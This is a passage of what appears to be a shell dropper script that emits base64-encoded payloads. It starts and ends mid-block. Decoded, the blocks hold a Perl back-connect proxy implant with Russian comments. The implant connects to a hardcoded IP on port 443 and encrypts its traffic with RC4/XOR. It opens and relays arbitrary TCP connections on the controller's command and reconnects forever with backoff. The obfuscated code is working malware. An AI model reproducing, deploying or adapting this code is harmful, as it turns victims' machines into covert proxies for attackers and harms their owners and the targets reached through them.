IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_42() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
